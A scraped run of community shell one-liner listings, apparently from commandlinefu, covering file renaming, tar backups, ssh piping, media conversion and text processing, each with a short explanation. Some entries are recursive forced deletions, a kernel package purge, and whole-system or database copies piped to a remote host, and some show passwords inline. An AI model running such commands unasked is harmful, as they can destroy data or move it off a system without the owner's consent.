FILENAME=${FILE##*/};FILEPATH=${FILE%/*};NOEXT=${FILENAME%\.*};EXT=${FILE##*.} FILE=/home/eduo/file.zip FILENAME=file.zip FILEPATH=/home/eduo NOEXT=file EXT=zip For a $FILE, extracts the path, filename, filename without extension and extension. Useful for use in other scripts for renaming, testing for extensions, etc. mplayer -rtsp-stream-over-tcp -user-agent QuickTime/7.6.4 http://trailers.apple.com/movies/HDmovie-h720p.mov use mplayer to watch Apple Movie Trailer instead of quicktime player http://trailers.apple.com/trailers/ just copy the .mov link and use mplayer to stream tar -czf - * | ssh example.com "cat > files.tar.gz" Pack up some files into a tarball on a remote server without writing to the local filesystem I recently found myself with a filesystem I couldn't write to and a bunch of files I had to get the hell out of dodge, preferably not one at a time. This command makes it possible to pack a bunch of files into a single archive and write it to a remote server. mmv "*.txt" "#1.md" Batch rename extension of all files in a folder, in the example from .txt to .md mmv most likely must be installed, but is very powerfull when you want to move/copy/append/link multiple files by wildcard patterns. tar -czvvf backup$(date "+%Y%m%d_%H%M%S").tar.gz /path/to/dir Functions: date tar backup a directory in a timestamped tar.gz creates a tar.gz with a name like: backup20090410_173053.tar.gz of a given directory. this file was made 10 April 2009 at 5:30:53pm see date's man page to customize the timestamp format awk '{count[length]++}END{for(i in count){printf("%d: %d\n", count[i], i)}}' Count the number of characters in each line for i in `ls`;do avidemux --video-codec Xvid4 --load $i --save $i.mp4 --quit; done Convert multiple files using avidemux Using avidemux to convert multiple files that are in the folder where the command was executed. (crontab -l; echo '* * * * * dmesg -c'; ) | crontab - Functions: crontab dmesg echo send kernel log (dmesg) notifications to root via cron this is helpful because dmesg is where i/o errors, etc are logged to... you will also be able to see when the system reboots or someone attaches a thumb drive, etc. don't forget to set yourself up in /etc/aliases to get roots email. for x in `find /path/ -type d | cut -b bytesoffoldername-`; do mkdir -p newpath/$x; done Functions: cut mkdir Replicate a directory structure dropping the files ssh root@pyramid \ "tcpdump -nn -i eth1 -w -" | snort -c /etc/snort/snort.conf -r - Remotely sniff traffic and pass to snort I have a small embedded linux device that I wanted to use for sniffing my external network, but I didn't want to recompile/cross-compile snort for the embedded platform. So I used tcpdump over ssh to pass all the traffic as pcap data to a "normal" Linux system that then takes the pcap data and passes it to snort for processing. ps aux |awk '{$1} {++P[$1]} END {for(a in P) if (a !="USER") print a,P[a]}' dbus 1 smmsp 1 avahi 2 root 69 admin 52 Functions: awk ps enumerates the number of processes for each user. ps BSD format is used here , for standard Unix format use : ps -eLf |awk '{$1} {++P[$1]} END {for(a in P) if (a !="UID") print a,P[a]}' ps -o %mem= -C firefox-bin | sed -s 's/\..*/%/' See how many % of your memory firefox is using watch -n 1 'date "+obase=2; print %H,\":\",%M,\":\",%S" |bc' 10:0:1011 Binary clock with separate H:M:S. ttmkfdir mkfontdir fc-cache /usr/share/fonts/miscttf Functions: fc-cache Installing True-Type fonts First you have to create a directory in your system, where the fonts will be stored, and copy them. sudo mkdir /usr/share/fonts/miscttf; sudo cp *.ttf /usr/share/fonts/miscttf After recharge cache with the command wmctrl -l -p | while read line; do ps -o cmd= "$(echo "$line" | awk '$0=$3')"; done > ~/.windows chromium gedit tint2 Functions: ps read Save your open windows to a file so they can be opened after you restart This will save your open windows to a file (~/.windows). To start those applications: cat ~/.windows | while read line; do $line &; done Should work on any EWMH/NetWM compatible X Window Manager. If you use DWM or another Window Manager not using EWMH or NetWM try this: xwininfo -root -children | grep '^ ' | grep -v children | grep -v '<unknown>' | sed -n 's/^ *\(0x[0-9a-f]*\) .*/\1/p' | uniq | while read line; do xprop -id $line _NET_WM_PID | sed -n 's/.* = \([0-9]*\)$/\1/p'; done | uniq -u | grep -v '^$' | while read line; do ps -o cmd= $line; done > ~/.windows ‹ First < 58 59 60 61 62 > Last › sed '/MARKER/{N;s/THIS/THAT/}' $ cat test.plt # set up gnuplot with some undetermined number of commands #MARKER replot "file1.dat" using 1:2 replot "file2.dat" using 1:2 replot "file3.dat" using 1:2 $ sed '/^#MARKER/{N;s/replot/plot/}' test.plt plot "file1.dat" using 1:2 Apply substitution only on the line following a marker I've been auto-generating some complex GnuPlots; with multiplots the first plot of each group needs to be a 'plot' whereas the others need to be 'replots' to allow overplotting/autoscaling/etc to work properly. This is used to replace only the first instance of 'replot'. alias lg='ls --color=always | grep --color=always -i' Quick case-insenstive partial filename search This is a simple command, but extremely useful. It's a quick way to search the file names in the current directory for a substring. Normally people use "ls *term*" but that requires the stars and is not case insensitive. Color (for both ls and grep) is an added bonus. TOTAL_RAM=`free | head -n 2 | tail -n 1 | awk '{ print $2 }'`; PROC_RSS=`ps axo rss,comm | grep [h]ttpd | awk '{ TOTAL += $1 } END { print TOTAL }'`; PROC_PCT=`echo "scale=4; ( $PROC_RSS/$TOTAL_RAM ) * 100" | bc`; echo "RAM Used by HTTP: $PROC_PCT%" RAM Used By HTTP: 50.5000% Functions: awk echo grep head tail Print Memory Utilization Percentage For a specific process and it's children Change the name of the process and what is echoed to suit your needs. The brackets around the h in the grep statement cause grep to skip over "grep httpd", it is the equivalent of grep -v grep although more elegant. lsof -i :555-7000 COMMAND PID USER FD TYPE DEVICE SIZE/OFF NODE NAME View details of network activity, malicious or otherwise within a port range. View details of both TCP and UDP network activity within a specified port range. openssl rand -base64 6 rUYIwxq4 for Mac OS X find . -type f -mtime +7 -exec ls -l {} \; Find files that are older than x days Find files that are older than x days in the working directory and list them. This will recurse all the sub-directories inside the working directory. By changing the value for -mtime, you can adjust the time and by replacing the ls command with, say, rm, you can remove those files if you wish to. cuebreakpoints "$2" | shnsplit -o flac "$1" Converts a single FLAC file with associated cue file into multiple FLAC files Converts a single FLAC file with associated cue file into multiple FLAC files. Takes two arguments: the name of the FLAC file and and the name of the cue file. Example: flacAlbumToFiles foo.flac foo.cue Requires: - cuetools - shntools VBoxHeadless -s <name|uuid> run a VirtualBox virtual machine without a gui you can launch a VirtualBox VM from the command line using VBoxManage, but that invokes it in a gui environment. If you want to just fire off your VM in the background, use VBoxHeadless as shown. To get the names and UUIDs of your VirtualBox VMs, type: VBoxManage list cd /usr/home && for i in *;do chsh -s bash $i;done Functions: bash cd chsh Chage default shell for all users [FreeBSD] This command will set bash as the default shell for all users in a FreeBSD system. ssh -D 8888 user@site.com Forward port 8888 to remote machine for SOCKS Proxy Simply change your web browser's proxy settings to point to a SOCKS proxy at port 8888 and you're good to go. sudo date -s "$(ssh user@server.com "date -u")" Functions: date sudo Sync the date of one server to that of another. (Useful when firewalls prevent you from using NTP.) very_long_command& sleep 10; kill $! Functions: kill sleep Run a command for a given time or "Execute a command with a timeout" Run a command in background, sleep 10 seconds, kill it. ! is the process id of the most recently executed background command. You can test it with: find /& sleep10; kill $! lsof -i -n | grep ESTABLISHED list processes with established tcp connections (without netstat) Uses lsof to list open network connections (file descriptors), grepping for only those in an established state convert images*.* <my_pdf>.pdf Convert images (jpg, png, ...) into a PDF Converts images (maybe from scans) into a PDF /sbin/ifconfig -a | awk '/(cast)/ { print $2 }' | cut -d':' -f2 | head -1 Functions: awk cut head Get the IP address of a machine. Just the IP, no junk. find . ! -name \*.md5 -exec 'md5sum "{}" > "{}".md5' \; create missing md5 for all files in directory Just use find. No need to test file existence. On gnu find you can limit directory depth. Use "{}" to manage correctly files with spaces !!:gs/data/index/ Replace all in last command ufraw-batch --out-type=jpeg --out-path=./jpg ./*.NEF batch convert Nikon RAW (nef) images to JPG converts RAW files from a Nikon DSLR to jpg for easy viewing etc. requires ufraw package ssh -fY user@REMOTESERVER firefox -no-remote Launch firefox on a remote linux server Actually 'firefox' is a script that then launches the 'firefox-bin' executable. You need to specify the 'no-remote' option in order to launch remote firefox instead of your local one (this drove me crazy time ago) pdftk inp1.pdf inp2.pdf inp3.pdf cat output out.pdf Concating pdf files export PS1="${PS1%\\\$*}"' \t \$ ' user@hostname:~$ export PS1="${PS1%\\\$*}"' \t \$ ' user@hostname:~ 21:34:45 $ Add a Clock to Your CLI alias ip4grep "grep -E '([0-9]{1,3}\.){3}[0-9]{1,3}'" % ip4grep /var/www/conf/httpd.conf #Listen 192.0.2.3:80 # You will have to access it by its address (e.g., http://192.0.2.34/) # e.g., www.apache.org (on) or 204.62.129.132 (off). #NameVirtualHost 192.0.2.3:80 #NameVirtualHost 192.0.2.3 % ip4grep `find /etc -name '*.conf' -type f -print` /etc/mrouted.conf:#name LOCAL 239.255.0.0/16 /etc/resolv.conf:nameserver 127.0.0.1 /etc/snmp/snmpd.conf:# % snmpwalk -v 1 -c public localhost .1.3.6.1.4.1.2021.2 Look for IPv4 address in files. It finds a SNMP OID too :-( watch ifconfig eth0 Functions: ifconfig watch Watch Data Usage on eth0 ls -1 /lib/modules Lists installed kernels no need for rpm, no need for piping to another command. also no real fu but lacking in unnecessary complexity and distro specific commands. function whichpkg() { readlink -f "$(which $1)" | xargs --no-run-if-empty dpkg -S; } $ function whichpkg(){ readlink -f "$(which $1)" | xargs --no-run-if-empty dpkg -S; } $whichpkg rlogin openssh-client: /usr/bin/ssh Functions: readlink xargs Find out which debian package a command (executable) belongs to on debian-based distros This revision to my command (command #8851) was called for when it failed to find the parent package of 'rlogin', which is really a deep symbolic link to /usr/bin/ssh. This revision fixes this newfound issue, while ensuring fixes of other older issues work too. ‹ First < 59 60 61 62 63 > Last › ip link show Functions: link Get all mac address I prefer the ip command to ifconfig as ifconfig is supposedly going to be deprecated. Certain IP address aliases can only be seen with the ip command (such as the ones applied by RHCS). openssl rand -base64 <length> $ openssl rand -base64 20 5ErrldoIzSjMgnLOopN1H0j58mU= Produce a pseudo random password with given length in base 64 echo "^[]0;My_Title_Goes _Here^G" Change the window title of your xterm If you are using an xterm emulation capable terminal emulator, such as PuTTY or xterm on Linux desktop, this command will replace the title of that terminal window. I know it is not nice to have seventeen terminals on your desktop with title PuTTY, you can not tell which one is connected to which server and doing what. Even though the string between the quotes is typed as literals, it needs a little more finesse to make it work. Here is how it is done key-by-key: echo "( ctrl-v then ctrl-[ )0;Enter_Title_String_Here( ctrl-v then ctrl-g )"( enter ) ctrl-v : means hold down ctrl key and hit v at the same time like you are pasting in windoze ; also please don't type the parentheses, i.e., ( and ) mysqldump -uUserName -pPassword tudb | ssh root@rootsvr.com "mysql -uUserName -pPassword -h mysql.rootsvr.com YourDBName" Create MySQL-Dump, copy db to other Server and upload the db. This option makes a copy of your current db and via ssh it transfer to the server you specify and upload the database to the specific User & Password you specify (Note the db User & Pass, can be different from the one you use in the other server) If you are going to use "localhost" as your main db remove (-h) and youst add "localhost" ssh user@machine_A dd if=/dev/dvd0 > dvddump.iso You can use this to directly dump from machine A (with dvd drive) to machine B (without dvd drive) . I used this to copy dvd using my friend's machine to my netbook. Above command is to be issued on machine B. Advantages : 1) No wasting time dumping first to machine A and then copying to Machine B. 2) You dont need to use space on Machine A. In fact, this will work even when Machine A doesnt have enough hdd space to dump the DVD. Use -C ssh option on slow networks (enables compression). you can replace "dd if=/dev/dvd" with any ripping command as long as it spews the iso to stdout. ls -alh #mycomment Insert a comment on command line for reminder echo *.log | xargs <command> Functions: echo xargs for too many arguments by * grep ERROR *.log -bash: /bin/grep: Argument list too long echo *.log | xargs grep ERROR /dev/null c=0; n=8; while true; do r=`echo $RANDOM%5 |bc`; echo "sleep $r"; sleep $r& 2>&1 >/dev/null && ((c++)); [ `echo "$c%$n" | bc` -eq 0 ] && echo "$c waiting" && wait; done $ c=0; n=8; while true; do r=`echo $RANDOM%5 |bc`; echo "sleep $r"; sleep $r& 2>&1 >/dev/null && ((c++)); [ `echo "$c%$n" | bc` -eq 0 ] && echo "$c waiting" && wait; done sleep 1 [1] 25900 sleep 3 [2] 14967 sleep 0 [3] 3011 [4] 24050 [5] 25533 sleep 4 [6] 9794 [7] 17325 sleep 2 [8] 19922 8 waiting [9] 29693 [10] 1863 [11] 21993 [12] 1450 [13] 23873 [14] 24563 [15] 625 [16] 9172 16 waiting 'hpc' in the box - starts a maximum of n compute commands modulo n controlled in parallel the block of the loop is useful whenever you have huge junks of similar jobs, e.g., convert high res images to thumbnails, and make usage out of all the SMP power on your compute box without flooding the system. note: c is used as counter and the random sleep r=`echo $RANDOM%5 |bc`; echo "sleep $r"; sleep $r is just used as a dummy command. for f in *;do mplayer $f;read $n;mv $f $n;done Simplified video file renaming I used this when I had a directory of movies from a camera. I wanted to watch a little of each movie, then rename it depending on what was in the movie. This did the trick for me. lsof -i :22 dtach -c /tmp/wires-mc mc detach remote console for long running operations Starts midnightcommander and allows you to detach the console; use ctrl-\ to detach Then at a later time you can reconnect using dtach -a /tmp/wires-mc In my experience dtach works much better for programs like irssi, mutt, mc, aptitude than screen does. convert sample.pdf sample.jpg gnu@robby:/tmp/tigre$ ls doc_data.txt pg_0004.pdf pg_0009.pdf pg_0014.pdf pg_0019.pdf pg_0024.pdf lt003.pdf pg_0005.pdf pg_0010.pdf pg_0015.pdf pg_0020.pdf pg_0001.pdf pg_0006.pdf pg_0011.pdf pg_0016.pdf pg_0021.pdf pg_0002.pdf pg_0007.pdf pg_0012.pdf pg_0017.pdf pg_0022.pdf pg_0003.pdf pg_0008.pdf pg_0013.pdf pg_0018.pdf pg_0023.pdf gnu@robby:/tmp/tigre$ convert pg_0001.pdf test.png **** Warning: Generation number out of 0..65535 range, assuming 0. **** Warning: File has an invalid xref entry: 2. Rebuilding xref table. **** This file had errors that were repaired or ignored. **** The file was produced by: **** >>>> itext-paulo-155 (itextpdf.sf.net-lowagie.com) <<<< **** Please notify the author of the software that produced this **** file that it does not conform to Adobe's published PDF **** specification. gnu@robby:/tmp/tigre$ file test.png test.png: PNG image, 595 x 780, 16-bit/color RGB, non-interlaced convert pdf to graphic file format (jpg , png , tiff ... ) need imagemagick package pdftk A=chapters.pdf B=headings.pdf C=covers.pdf cat C1 B1 A1-7 B2 A8-10 C2 output book.pdf split and combine different pages from different pdf's The command shows the real power of the pdftk tool, you can do basically everything you want with multiple pdf's. In the command a book is created from chapters, headings and covers. echo 00:29:36 | awk -F: '{print ($1*3600)+($2*60)+$3}' Convert HH:MM:SS into seconds I'm guessing there's an even easier way. sed -i '19375 s/^/#/' file Comment out a line in a file This will comment out a line, specified by line number, in a given file. 0 10 * * * rsync -rau /[VIPdirectory] X.X.X.X:/backup/[VIPdirectory] simple backup with rsync With this cron, rsync begins to sinchronize the contents of the local directory on /[VIPdirectory] with the directory /backup/[VIPdirectory] on the remote server X.X.X.X. Previously we need working on public/private-keys ssh to guarantee the acces to the remote server on X.X.X.X echo $((($(date +%s)-$(date +%s -d "march 1"))/86400)) $ echo $((($(date +%s)-$(date +%s -d "march 1"))/86400)) 95 $ echo $((($(date +%s)-$(date +%s -d "sep 9 1986"))/86400)) 8669 Functions: date echo find out how many days since given date You can also do this for seconds, minutes, hours, etc... Can't use dates before the epoch, though. Reset terminal that has been buggered by binary input or similar speaker-test -D plug:surround51 -c 6 -l 1 -t wav speaker-test 1.0.21 Playback device is plug:surround51 Stream parameters are 48000Hz, S16_LE, 6 channels WAV file(s) Rate set to 48000Hz (requested 48000Hz) Buffer size range from 64 to 16384 Period size range from 32 to 8192 Using max buffer size 16384 Periods = 4 was set period_size = 4096 was set buffer_size = 16384 0 - Front Left 4 - Center 1 - Front Right 3 - Rear Right 2 - Rear Left 5 - LFE Time per period = 8.363521 Test speaker channels Useful tool to test if all speaker channels are working properly. speaker-test is part of alsa-utils package mpg123 "`locate -r '\.mp3$'|awk '{a[NR]=$0}END{print a['"$RANDOM"' % NR]}'`" Functions: mpg123 Random play a mp3 file Pick a mp3 at random and play it. Assumes the availability of locate with an updated db and mpg123 Not the most useful command I guess, but all of the really useful ones are taken... curl -sL xkcd.com | grep '<img [^>]*/><br/>' | sed -r 's|<img src="(.*)" title="(.*)" alt="(.*)" /><br/>|\1\t\2\t\3|' > /tmp/a; curl -s $(cat /tmp/a | cut -f1) | convert - -gravity south -draw "text 0,0 \"$(cat /tmp/a | cut -f2)\"" pdf:- > xkcd.pdf Functions: cat cut grep sed Save xkcd to a pdf with captions Saves to a PDF with title and alt text of comic. As asked for on http://bbs.archlinux.org/viewtopic.php?id=91100 Change xkcd.com to dynamic.xkcd.com/comics/random for a random comic. ssh user@server | tee logfilename Then 'cat logfilename' can be used to see the list of the commands including all of the stdout with lesser unreadable characters. Functions: ssh tee Record output of any command using 'tee' at backend; mainly can be used to capture the output of ssh from client side while connecting to a server. Optionally, you can create a new function to do this with a custom command. Edit $HOME/.bashrc and add: myssh () { ssh $1 | tee sshlog ; } Save it. At command prompt: myssh user@server dump 0f - / | bzip -c9 | ssh user@host "cat > /home/user/root.dump.bz2" Functions: dump ssh ...can do similar w/ tar, dd, xfsdump, e2fsdump, etc. php -r 'echo str_rot13 ("Hello World");' a simple bash one-liner to create php file and call php function TZ=UTC date -d @1320198157 convert UNIX timestamp to UTC timestamp date -ud @1320198157 ‹ First < 60 61 62 63 64 > Last › rec -c 2 -r 44100 -s -t wav - | oggenc -q 5 --raw --raw-chan=2 --raw-rate=44100 --raw-bits=16 - > MyLiveRecording.ogg Record live sound in Vorbis (eg for bootlegs or to take audio notes) This will record the capture channel of your soundcard, directly encoded in Ogg Vorbis, in stereo at quality 5 (I'm using this to record live jam sessions from my line input). You can choose which device to capture (eg. line input, microphone or PCM output) with alsamixer -V capture You can do the same thing and live encode in MP3 or FLAC if you wish, just check FLAC and LAME man pages. rm !(file_to_keep_undeleted) Takes all file except file between !() Go to tmp : cd /tmp; mkdir retmp; cd retmp Create 10 files : for i in {1..10}; do touch test$i; done Remove all files except test10 : rm !(test10) dpkg -l 'linux-*' | sed '/^ii/!d;/'"$(uname -r | sed "s/\(.*\)-\([^0-9]\+\)/\1/")"'/d;s/^[^ ]* [^ ]* \([^ ]*\).*/\1/;/[0-9]/!d' | xargs sudo apt-get -y purge Functions: sed sudo xargs purge installed but unused linux headers, image, or modules will purge: only installed apps: /^ii/!d avoiding current kernel stuff: /'"$(uname -r | sed "s/\(.*\)-\([^0-9]\+\)/\1/")"'/d using app names: s/^[^ ]* [^ ]* \([^ ]*\).*/\1/ avoiding stuff without a version number: /[0-9]/!d svn st | grep "^\?" | awk "{print \$2}" | xargs svn add $1 Functions: awk grep xargs Add all unversioned files to svn :%sort Sort the current buffer in vi or vim. vim 7 or higher has internal sort, too 'sort n' for numbers apt-config dump APT ""; APT::Architecture "amd64"; APT::Build-Essential ""; APT::Build-Essential:: "build-essential"; APT::Install-Recommends "true"; APT::Install-Suggests "0"; APT::NeverAutoRemove ""; APT::NeverAutoRemove:: "^firmware-linux.*"; Show Apt/Dpkg configuration Shows all configurations to apt and dpkg, rarely changed, you probably still have the default configuration. Go ahead and explore your configuration if you dare, perhaps change your apt-cache directory, Dir::Cache "var/cache/apt/"; or the names of the log files. lsof -p 1234 | grep -E "\.log$" | awk '{print $NF}' List .log files open by a pid Uses lsof to display the full path of ".log" files opened by a specified PID. php -i Testing php configuration ip route | awk '/default/{print $3}' Find default gateway <alt+.> prints the parameter you used on the previous command rsync -avz -e 'ssh -A sshproxy ssh' srcdir remhost:dest/path/ Remote copy directories and files through an SSH tunnel host If you have lots of remote hosts sitting "behind" an ssh proxy host, then there is a special-case use of "rsynch" that allows one to easily copy directories and files across the ssh proxy host, without having to do two explicit copies: the '-e' option allows for a replacement "rsh" command. We use this option to specify an "ssh" tunnel command, with the '-A' option that causes authentication agent requests to be forwarded back to the local host. If you have ssh set up correctly, the above command can be done without any passwords being entered. date -R -d @1234567890 Sat, 14 Feb 2009 05:31:30 +0600 Unix time to local time Today uuencode archive.tar.gz archive.tar.gz | mail -s "Emailing: archive.tar.gz" user@example.com Functions: mail uuencode Send a binary file as an attachment to an email The uuencode utility will encode your file so that it can be sent as an attachment to an email. It is part of the sharutils package in RHEL/CentOS/Fedora. Esc-/ Esc-/ List files Shortcut to list files in the current path. wget -U "QuickTime/7.6.2 (qtver=7.6.2;os=Windows NT 5.1Service Pack 3)" `echo http://movies.apple.com/movies/someHDmovie_720p.mov | sed 's/\([0-9][0-9]\)0p/h\10p/'` Copy the link to an HD movie trailer in to this command. It's more eleganant if it's put in a to a script, taking the URL as input. tsocks <program> Socksify any program to avoid restrictive firwalls Require: - tsocks (deb pkg) - A working SOCKS proxy. It's easy with ssh: $ ssh -N -D localhost:1080 your.home.pc -p 443 - tsocks configuration in your /etc/tsocks.conf (for the previous): server = 127.0.0.1 server_port = 1080 sed -n '3,6p' /path/to/file $ seq 10 | sed -n '3,6p' 4 6 Print all lines between two line numbers This command uses sed(1) to print all lines between two known line numbers in a file. Useful for seeing output in a log file, where the line numbers are known. The above command will print all lines between, and including, lines 3 and 6. vim $( ls -t | head -n1 ) Functions: head ls vim Edit the Last Changed File find . -depth -name .svn -type d -exec rm -fr {} \; Functions: find rm Remove all .svn folders -depth argument will cause find to do a "depth first" tree search, this will eliminate the "No such file or directory" error messages ls -drt /var/log/* | tail -n5 | xargs sudo tail -n0 -f ==> /var/log/cron <== ==> /var/log/messages <== ==> /var/log/lastlog <== ==> /var/log/wtmp <== ==> /var/log/secure <== �1pts/4ts/4myusermyhost.example.com�fJ��? Jul 21 18:36:19 thost sshd[12730]: Accepted password for myuser from 192.168.100.7 port 50066 ssh2 Jul 21 18:36:19 thost sshd[12730]: pam_unix(sshd:session): session opened for user myuser by (uid=0) Functions: ls sudo tail xargs This command finds the 5 (-n5) most frequently updated logs in /var/log, and then does a multifile tail follow of those log files. Alternately, you can do this to follow a specific list of log files: sudo tail -n0 -f /var/log/{messages,secure,cron,cups/error_log} watch "ps auxw | grep [d]efunct" Get a regular updated list of zombies to omit "grep -v", put some brackets around a single character dd if=/dev/zero bs=4096 count=1048576 | ssh user@host.tld 'cat > /dev/null' user@host.tld's password: 1048576+0 records in 4294967296 bytes (4.3 GB) copied, 171.841 seconds, 25.0 MB/s Test network speed without wasting disk The above command will send 4GB of data from one host to the next over the network, without consuming any unnecessary disk on either the client nor the host. This is a quick and dirty way to benchmark network speed without wasting any time or disk space. Of course, change the byte size and count as necessary. This command also doesn't rely on any extra 3rd party utilities, as dd, ssh, cat, /dev/zero and /dev/null are installed on all major Unix-like operating systems. ssh -C USER@HOST tar -c --exclude /proc --exclude /sys / | tar -x Backup entire system through SSH grep -lr -e '<oldword>' * | xargs sed -i 's/<oldword>/<newword>/g' Functions: grep sed xargs Search and Replace across multiple files - grep for the word in a files, use recursion (to find files in sub directories), and list only file matches -| xargs passes the results from the grep command to sed -sed -i uses a regular expression (regex) to evaluate the change: s (search) / search word / target word / g (global replace) function miso () { mkdir ~/ISO_CD && sudo mount -o loop "$@" ~/ISO_CD && cd ~/ISO_CD && ls; } function uiso () { cd ~ && sudo umount ~/ISO_CD && rm -r ~/ISO_CD; } Functions: cd mkdir mount rm sudo umount Mount and umount iso files Add the functions to the .bashrc to make it work Example: First go to the iso file directory and type: ---------------------------------------------------------------------------------------------------- user@box:~$ miso file.iso It will put you into a temporary mounting point directory (ISO_CD) and will show the files You can umount the iso file whatever the directory you are user@box:~/ISO_CD$ uiso It wil umount the iso file and remove the temporary directory in your home ‹ First < 61 62 63 64 65 > Last › mplayer tv:// -tv driver=v4l2:width=640:height=480:device=/dev/video0:fps=30:outfmt=yuy2 View webcam output using mplayer View webcam output using mplayer, with correct fps and outfmt settings according to my webcam model. sed 's/\(..\)/\1:/g;s/:$//' mac_address_list more mac_address_list && sed 's/\(..\)/\1:/g;s/:$//' mac_address_list 000000abde00 00:00:00:ab:de:00 Insert a colon between every two digits I sometimes have large files of MAC addresses stored in a file, some databases need the information stored with the semicolon (makes for easier programming a device) others don't. I have a barcode to text file scanner which usually butchers MAC addresses so this was the fix> I initially did this in awk ;) awk '{for(i=10;i>=2;i-=2)$0=substr($0,1,i)":"substr($0,i+1);print}' mac_address_list detectlanguage(){ curl -s "http://ajax.googleapis.com/ajax/services/language/detect?v=1.0&q=$@" | sed 's/{"responseData": {"language":"\([^"]*\)".*/\1\n/'; } detectlanguage <phrase> detectlanguage hola alias tarred='( ( D=`builtin pwd`; F=$(date +$HOME/`sed "s,[/ ],#,g" <<< ${D/${HOME}/}`#-%F.tgz); tar --ignore-failed-read --transform "s,^${D%/*},`date +${D%/*}.%F`,S" -czPf "$F" "$D" &>/dev/null ) & )' THERE IS NO OUTPUT, RUNS IN BG, SO THIS IS VERBOSE TRACING OUTPUT '$ set -xv' [22:901 1:10] [tombs@www.askapache.com:pts/17 +2] /opt/askapache/SOURCE/lockfile-progs-0.1.11 $ tarred ++ builtin pwd + D=/opt/askapache/SOURCE/lockfile-progs-0.1.11 +++ sed 's,[/ ],#,g' ++ date +/askapache-bk/#opt#askapache#SOURCE#lockfile-progs-0.1.11#-%F.tgz + F=/askapache-bk/#opt#askapache#SOURCE#lockfile-progs-0.1.11#-2010-11-18.tgz + S=2574 ++ date +/opt/askapache/SOURCE.%F + tar --ignore-failed-read --transform 's,^/opt/askapache/SOURCE,/opt/askapache/SOURCE.2010-11-18,S' -czPf '$F' /opt/askapache/SOURCE/lockfile-progs-0.1.11 + logger -s 'Tarred /opt/askapache/SOURCE/lockfile-progs-0.1.11 to /askapache-bk/#opt#askapache#SOURCE#lockfile-progs-0.1.11#-2010-11-18.tgz in 4 seconds' logger: Tarred /opt/askapache/SOURCE/lockfile-progs-0.1.11 to /askapache-bk/#opt#askapache#SOURCE#lockfile-progs-0.1.11#-2010-11-18.tgz in 4 seconds Functions: alias date tar Create date-based tgz of current dir, runs in the background, very very cool This is freaking sweet!!! Here is the full alias, (I didn't want to cause display problems on commandlinefu.com's homepage): alias tarred='( ( D=`builtin pwd`; F=$(date +$HOME/`sed "s,[/ ],#,g" <<< ${D/${HOME}/}`#-%F.tgz); S=$SECONDS; tar --ignore-failed-read --transform "s,^${D%/*},`date +${D%/*}.%F`,S" -czPf "$"F "$D" && logger -s "Tarred $D to $F in $(($SECONDS-$S)) seconds" ) & )' Creates a .tgz archive of whatever directory it is run from, in the background, detached from current shell so if you logout it will still complete. Also, you can run this as many times as you want, if the archive .tgz already exists, it just moves it to a numbered backup '--backup=numbered'. The coolest part of this is the transformation performed by tar and sed so that the archive file names are automatically created, and when you extract the archive file it is completely safe thanks to the transform command. If you archive lets say /home/tombdigger/new-stuff-to-backup/ it will create the archive /home/#home#tombdigger#new-stuff-to-backup#-2010-11-18.tgz Then when you extract it, like tar -xvzf #home#tombdigger#new-stuff-to-backup#-2010-11-18.tgz instead of overwriting an existing /home/tombdigger/new-stuff-to-backup/ directory, it will extract to /home/tombdigger/new-stuff-to-backup.2010-11-18/ Basically, the tar archive filename is the PWD with all '/' replaced with '#', and the date is appended to the name so that multiple archives are easily managed. This example saves all archives to your $HOME/archive-name.tgz, but I have a $BKDIR variable with my backup location for each shell user, so I just replaced HOME with BKDIR in the alias. So when I ran this in /opt/askapache/SOURCE/lockfile-progs-0.1.11/ the archive was created at /askapache-bk/#opt#askapache#SOURCE#lockfile-progs-0.1.11#-2010-11-18.tgz Here's how my syslog server recorded this.. Caveats Really this is very robust and foolproof, the only issues I ever have with it (I've been using this for years on my web servers) is if you run it in a directory and then a file changes in that directory, you get a warning message and your archive might have a problem for the changed file. This happens when running this in a logs directory, a temp dir, etc.. That's the only issue I've ever had, really nothing more than a heads up. Advanced: This is a simple alias, and very useful as it works on basically every linux box with semi-current tar and GNU coreutils, bash, and sed.. But if you want to customize it or pass parameters (like a dir to backup instead of pwd), check out this function I use.. this is what I created the alias from BTW, replacing my aa_status function with logger, and adding $SECONDS runtime instead of using tar's --totals function tarred () { local GZIP='--fast' PWD=${1:-`pwd`} F=$(date +${BKDIR}/%m-%d-%g-%H%M-`sed -u 's/[\/\ ]/#/g' [[ ! -r "$PWD" ]] && echo "Bad permissions for $PWD" 1>&2 && return 2; ( ( tar --totals --ignore-failed-read --transform "s@^${PWD%/*}@`date +${PWD%/*}.%m-%d-%g`@S" -czPf $F $PWD && aa_status "Completed Tarp of $PWD to $F" ) & ) #From my .bash_profile http://www.askapache.com/linux-unix/bash_profile-functions-advanced-shell.html sed -i 'your sed stuff here' file Simplification of "sed 'your sed stuff here' file > file2 && mv file2 file" aptitude purge '~c' also search with aptitude search '~c' command !$ New command with the last argument of the previous command. boxes -d dog or cowsay -f tux $M __ _,--="=--,_ __ .---{ }--| /,.-'-.,\ |--{ }---. ) (_)_)_) \_/`~-===-~`\_/ (_(_(_) ( ( ) ) ( ( CommandLinueFu ) '---------------------------------------' _______________ < Hello Master > --------------- \ \ /'\_ _/`\ \___)=(___/ need ascii art pictures for you readme text ? Require boxes and / or cowsay packages. After input boxes -d dog , type your text and then press ctrl + d . Same goes for cowsay . wget -q --user=<username> --password=<password> 'https://updates.opendns.com/nic/update?hostname=your_opendns_hostname&myip=your_ip' -O - alanceil@kvirasim:19:55:0:~> wget -q --user=topsecret --password=topsecret 'https://updates.opendns.com/nic/update?hostname=myhostname&myip=12.34.56.78' -O - good 12.34.56.78 Intended for dynamic ip OpenDNS users, this command will update your OpenDNS network IP. For getting your IP, you can use one of the many one-liners here on commandlinefu. I use this in a script which is run by kppp after it has successfully connected to my ISP: IP="`curl -s http://checkip.dyndns.org/ | grep -o '[[:digit:].]\+'`" PW="hex-obfuscated-pw-here" if [ "$IP" == "" ] ; then echo 'Not online.' ; exit 1 wget -q --user=topsecret --password="`echo $PW | xxd -ps -r`" 'https://updates.opendns.com/nic/update?hostname=myhostname&myip='"$IP" -O - /etc/init.d/ntp-client restart & PS: DynDNS should use a similar method, if you know the URL, please post a comment. (Something with members.dyndns.org, if I recall correctly) rm -rf !(@(file1|file2|...)) Remove all files except list mplayer -af scaletempo=scale=1.5 foo.mp3 To play a file at 1.5 times normal speed without increasing the pitch for f in *;do flac -cd $f |lame -b 192 - $f.mp3;done convert all flac files in a folder to mp3 files with a bitrate of 192 kbps tune2fs -O extents,uninit_bg,dir_index /dev/yourpartition Migrate existing Ext3 